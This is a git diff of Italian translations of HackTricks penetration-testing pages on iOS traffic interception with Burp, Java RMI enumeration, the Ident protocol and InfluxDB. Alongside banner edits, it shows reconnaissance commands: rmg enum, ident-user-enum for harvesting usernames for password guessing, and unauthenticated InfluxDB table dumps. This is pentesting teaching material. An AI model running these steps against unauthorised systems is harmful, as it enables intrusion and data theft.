* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team di HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -10,11 +10,11 @@ Altri modi per supportare HackTricks:
|
|||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con gli strumenti della comunità più avanzati al mondo.\
|
||||
|
@ -33,8 +33,8 @@ Il **Burp Mobile Assistant** semplifica il processo di installazione del Certifi
|
|||
### Passaggi di Installazione Manuale
|
||||
|
||||
1. **Configurazione del Proxy:** Inizia impostando Burp come proxy nelle impostazioni Wi-Fi dell'iPhone.
|
||||
2. **Download del Certificato:** Naviga su `http://burp` sul browser del dispositivo per scaricare il certificato.
|
||||
3. **Installazione del Certificato:** Installa il profilo scaricato tramite **Impostazioni** > **Generali** > **VPN e gestione dispositivi**, quindi abilita la fiducia per il CA di PortSwigger in **Impostazioni Fiducia Certificati**.
|
||||
2. **Download del Certificato:** Accedi a `http://burp` sul browser del dispositivo per scaricare il certificato.
|
||||
3. **Installazione del Certificato:** Installa il profilo scaricato tramite **Impostazioni** > **Generali** > **VPN e gestione dispositivi**, quindi abilita la fiducia per il CA di PortSwigger in **Impostazioni di fiducia del certificato**.
|
||||
|
||||
### Configurazione di un Proxy di Interception
|
||||
|
||||
|
@ -44,7 +44,7 @@ La configurazione consente l'analisi del traffico tra il dispositivo iOS e Inter
|
|||
|
||||
Per gli utenti con dispositivi jailbroken, SSH tramite USB (tramite **iproxy**) offre un metodo per instradare il traffico direttamente attraverso Burp:
|
||||
|
||||
1. **Stabilire la Connessione SSH:** Usa iproxy per inoltrare SSH a localhost, consentendo la connessione dal dispositivo iOS al computer in esecuzione Burp.
|
||||
1. **Stabilire una Connessione SSH:** Utilizza iproxy per inoltrare SSH a localhost, consentendo la connessione dal dispositivo iOS al computer in esecuzione Burp.
|
||||
|
||||
```bash
|
||||
iproxy 2222 22
|
||||
|
@ -60,7 +60,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
|
|||
|
||||
Il monitoraggio del traffico del dispositivo non HTTP può essere effettuato in modo efficiente utilizzando **Wireshark**, uno strumento in grado di catturare tutte le forme di traffico dati. Per i dispositivi iOS, il monitoraggio del traffico in tempo reale è facilitato dalla creazione di un'Interfaccia Virtuale Remota, un processo dettagliato in [questo post di Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Prima di iniziare, l'installazione di **Wireshark** su un sistema macOS è un prerequisito.
|
||||
|
||||
La procedura coinvolge diversi passaggi chiave:
|
||||
La procedura prevede diversi passaggi chiave:
|
||||
|
||||
1. Avvia una connessione tra il dispositivo iOS e l'host macOS tramite USB.
|
||||
2. Verifica l'**UDID** del dispositivo iOS, un passaggio necessario per il monitoraggio del traffico. Questo può essere fatto eseguendo un comando nel Terminale macOS:
|
||||
|
@ -97,13 +97,13 @@ Passaggi per configurare Burp come proxy:
|
|||
|
||||
* Vai su _Preferenze di Sistema_ --> _Rete_ --> _Avanzate_
|
||||
* Nella scheda _Proxy_ seleziona _Proxy Web (HTTP)_ e _Proxy Web Sicuro (HTTPS)_
|
||||
* In entrambe le opzioni configura _127.0.0.1:8080_
|
||||
* Configura entrambe le opzioni con _127.0.0.1:8080_
|
||||
|
||||
![](<../../.gitbook/assets/image (461).png>)
|
||||
|
||||
* Clicca su _**Ok**_ e poi su _**Applica**_
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
|
@ -119,7 +119,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
|
|
|
@ -6,25 +6,25 @@
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
_Il Java Remote Method Invocation_, o _Java RMI_, è un meccanismo di _RPC_ orientato agli oggetti che consente a un oggetto situato in una _Java virtual machine_ di chiamare metodi su un oggetto situato in un'altra _Java virtual machine_. Ciò consente agli sviluppatori di scrivere applicazioni distribuite utilizzando un paradigma orientato agli oggetti. Una breve introduzione a _Java RMI_ da una prospettiva offensiva si trova in [questa presentazione di blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
|
||||
_Il Java Remote Method Invocation_, o _Java RMI_, è un meccanismo di _RPC_ orientato agli oggetti che consente a un oggetto situato in una _Java virtual machine_ di chiamare metodi su un oggetto situato in un'altra _Java virtual machine_. Ciò consente agli sviluppatori di scrivere applicazioni distribuite utilizzando un paradigma orientato agli oggetti. Una breve introduzione a _Java RMI_ da un punto di vista offensivo può essere trovata in [questa presentazione di blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
|
||||
|
||||
**Porta predefinita:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
||||
```
|
||||
|
@ -36,13 +36,13 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
Di solito, solo i componenti predefiniti di _Java RMI_ (il _Registro RMI_ e il _Sistema di Attivazione_) sono vincolati alle porte comuni. Gli _oggetti remoti_ che implementano l'applicazione _RMI_ effettiva sono di solito vincolati a porte casuali come mostrato nell'output sopra.
|
||||
|
||||
_nmap_ talvolta ha difficoltà nell'identificare i servizi _RMI_ protetti da _SSL_. Se incontri un servizio sconosciuto _ssl_ su una porta _RMI_ comune, dovresti investigare ulteriormente.
|
||||
_a volte ha problemi nell'identificare i servizi _RMI_ protetti da _SSL_. Se incontri un servizio _SSL_ sconosciuto su una porta _RMI_ comune, dovresti investigare ulteriormente.
|
||||
|
||||
## Componenti RMI
|
||||
|
||||
Per semplificare, _Java RMI_ consente a un programmatore di rendere disponibile un _oggetto Java_ sulla rete. Questo apre una porta _TCP_ dove i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Nonostante ciò sembri semplice, ci sono diverse sfide che _Java RMI_ deve risolvere:
|
||||
Per spiegarlo in termini semplici, _Java RMI_ consente a un programmatore di rendere disponibile un _oggetto Java_ sulla rete. Questo apre una porta _TCP_ dove i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Nonostante questo sembri semplice, ci sono diverse sfide che _Java RMI_ deve risolvere:
|
||||
|
||||
1. Per instradare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o l'interfaccia implementata e l'`ObjID` dell'oggetto mirato (l'`ObjID` è un identificatore unico e casuale creato quando l'oggetto è reso disponibile sulla rete. È richiesto perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_).
|
||||
1. Per inviare una chiamata a un metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o l'interfaccia implementata e l'`ObjID` dell'oggetto mirato (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto è reso disponibile sulla rete. È richiesto perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_).
|
||||
2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _macchina virtuale Java_ deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte dal garbage collector.
|
||||
|
||||
La prima sfida è risolta dal _registro RMI_, che è essenzialmente un servizio di denominazione per _Java RMI_. Il _registro RMI_ stesso è anche un servizio _RMI_, ma l'interfaccia implementata e l'`ObjID` sono fissi e conosciuti da tutti i client _RMI_. Ciò consente ai client _RMI_ di consumare il registro _RMI_ semplicemente conoscendo la porta _TCP_ corrispondente.
|
||||
|
@ -71,7 +71,7 @@ e.printStackTrace();
|
|||
}
|
||||
}
|
||||
```
|
||||
Il secondo dei suddetti problemi è risolto dal _Collezionista di Spazzatura Distribuito_ (_DGC_). Si tratta di un altro servizio _RMI_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _endpoint RMI_. Quando un client _RMI_ inizia a utilizzare un servizio _RMI_, invia un'informazione al _DGC_ che l'oggetto remoto corrispondente è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di ripulire gli oggetti non utilizzati.
|
||||
Il secondo dei suddetti problemi è risolto dal _Collezionista di Spazzatura Distribuito_ (_DGC_). Si tratta di un altro servizio _RMI_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _endpoint RMI_. Quando un _client RMI_ inizia a utilizzare un servizio _RMI_, invia un'informazione al _DGC_ che l'oggetto remoto corrispondente è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di ripulire gli oggetti non utilizzati.
|
||||
|
||||
Insieme al deprecato _Sistema di Attivazione_, questi sono i tre componenti predefiniti di _Java RMI_:
|
||||
|
||||
|
@ -225,7 +225,7 @@ Ulteriori informazioni possono essere trovate in questi articoli:
|
|||
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
||||
|
||||
Oltre all'indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ per l'interfaccia o addirittura l'implementazione di un servizio _RMI_ incontrato. Il _nome legato_ e il nome della classe o interfaccia implementata possono essere utili in questo caso.
|
||||
Oltre all'indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ per l'interfaccia o addirittura l'implementazione di un servizio _RMI_ incontrato. Il _nome vincolato_ e il nome della classe o interfaccia implementata possono essere utili in questo caso.
|
||||
|
||||
## Interfacce Conosciute
|
||||
|
||||
|
@ -301,8 +301,6 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|||
## Riferimenti
|
||||
|
||||
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||||
|
||||
## Comandi Automatici di HackTricks
|
||||
```
|
||||
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
||||
|
@ -313,17 +311,17 @@ Name: Enumeration
|
|||
Description: Perform basic enumeration of an RMI service
|
||||
Command: rmg enum {IP} {PORT}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
|
|
@ -8,15 +8,15 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** con facilità, supportati dagli strumenti comunitari più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -25,7 +25,7 @@ Ottieni l'accesso oggi:
|
|||
|
||||
Il **Protocollo Ident** viene utilizzato su **Internet** per associare una **connessione TCP** a un utente specifico. Originariamente progettato per aiutare nella **gestione di rete** e **sicurezza**, funziona consentendo a un server di interrogare un client sulla porta 113 per richiedere informazioni sull'utente di una particolare connessione TCP.
|
||||
|
||||
Tuttavia, a causa delle moderne preoccupazioni sulla privacy e del potenziale abuso, il suo utilizzo è diminuito poiché potrebbe rivelare involontariamente informazioni sull'utente a parti non autorizzate. Sono raccomandate misure di sicurezza avanzate, come connessioni crittografate e controlli di accesso rigorosi, per mitigare questi rischi.
|
||||
Tuttavia, a causa delle moderne preoccupazioni sulla privacy e del potenziale abuso, il suo utilizzo è diminuito poiché può rivelare involontariamente informazioni sull'utente a parti non autorizzate. Sono raccomandate misure di sicurezza avanzate, come connessioni crittografate e controlli di accesso rigorosi, per mitigare questi rischi.
|
||||
|
||||
**Porta predefinita:** 113
|
||||
```
|
||||
|
@ -36,11 +36,11 @@ PORT STATE SERVICE
|
|||
|
||||
### **Manuale - Ottenere l'utente/Identificare il servizio**
|
||||
|
||||
Se una macchina sta eseguendo il servizio ident e samba (445) e sei connesso a samba usando la porta 43218. Puoi ottenere quale utente sta eseguendo il servizio samba facendo:
|
||||
Se una macchina sta eseguendo il servizio ident e samba (445) e sei connesso a samba usando la porta 43218, puoi ottenere quale utente sta eseguendo il servizio samba facendo:
|
||||
|
||||
![](<../.gitbook/assets/image (15) (1) (1).png>)
|
||||
|
||||
Se premi solo invio quando ti connetti al servizio:
|
||||
Se premi solo Invio quando ti connetti al servizio:
|
||||
|
||||
![](<../.gitbook/assets/image (16) (1) (1).png>)
|
||||
|
||||
|
@ -67,7 +67,7 @@ PORT STATE SERVICE VERSION
|
|||
```
|
||||
### Ident-user-enum
|
||||
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) è uno script PERL semplice per interrogare il servizio ident (113/TCP) al fine di determinare il proprietario del processo in ascolto su ciascuna porta TCP di un sistema target. L'elenco degli username raccolti può essere utilizzato per attacchi di guessing delle password su altri servizi di rete. Può essere installato con `apt install ident-user-enum`.
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) è uno script PERL semplice per interrogare il servizio ident (113/TCP) al fine di determinare il proprietario del processo in ascolto su ciascuna porta TCP di un sistema di destinazione. L'elenco degli username raccolti può essere utilizzato per attacchi di guessing delle password su altri servizi di rete. Può essere installato con `apt install ident-user-enum`.
|
||||
```
|
||||
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
|
||||
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||
|
@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
|||
|
||||
identd.conf
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati** al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -117,7 +117,7 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all
|
|||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# 8086 - Test di penetrazione su InfluxDB
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
|
||||
</details>
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
**InfluxDB** è un database **time series (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati time series, che consistono in coppie timestamp-valore. Rispetto ai database ad uso generale, i TSDB offrono significativi miglioramenti nello **spazio di archiviazione** e nelle **prestazioni** per i dataset time series. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Gli indici del database specializzati migliorano anche le prestazioni delle query.
|
||||
**InfluxDB** è un database **time series (TSDB)** open-source sviluppato da InfluxData. I TSDB sono ottimizzati per memorizzare e servire dati time series, che consistono in coppie timestamp-valore. Rispetto ai database ad uso generale, i TSDB offrono significativi miglioramenti nello **spazio di archiviazione** e nelle **prestazioni** per i dataset time series. Utilizzano algoritmi di compressione specializzati e possono essere configurati per rimuovere automaticamente i dati vecchi. Gli indici di database specializzati migliorano anche le prestazioni delle query.
|
||||
|
||||
**Porta predefinita**: 8086
|
||||
```
|
||||
|
@ -55,7 +55,7 @@ Le informazioni di questo esempio sono state prese da [**qui**](https://oznetner
|
|||
|
||||
#### Mostra database
|
||||
|
||||
I database trovati sono `telegraf` e `internal` (troverai questo ovunque)
|
||||
I database trovati sono `telegraf` e `internal` (questo lo troverai ovunque)
|
||||
```bash
|
||||
> show databases
|
||||
name: databases
|
||||
|
@ -83,7 +83,7 @@ system
|
|||
```
|
||||
#### Mostra colonne/chiavi dei campi
|
||||
|
||||
Le chiavi dei campi sono simili alle **colonne** del database.
|
||||
Le chiavi dei campi sono come le **colonne** del database
|
||||
```bash
|
||||
> show field keys
|
||||
name: cpu
|
||||
|
@ -106,7 +106,7 @@ inodes_used integer
|
|||
```
|
||||
#### Dump della tabella
|
||||
|
||||
E infine puoi **effettuare il dump della tabella** facendo qualcosa del genere
|
||||
E infine puoi **effettuare il dump della tabella** facendo qualcosa del genere:
|
||||
```bash
|
||||
select * from cpu
|
||||
name: cpu
|
||||
|
@ -125,22 +125,22 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
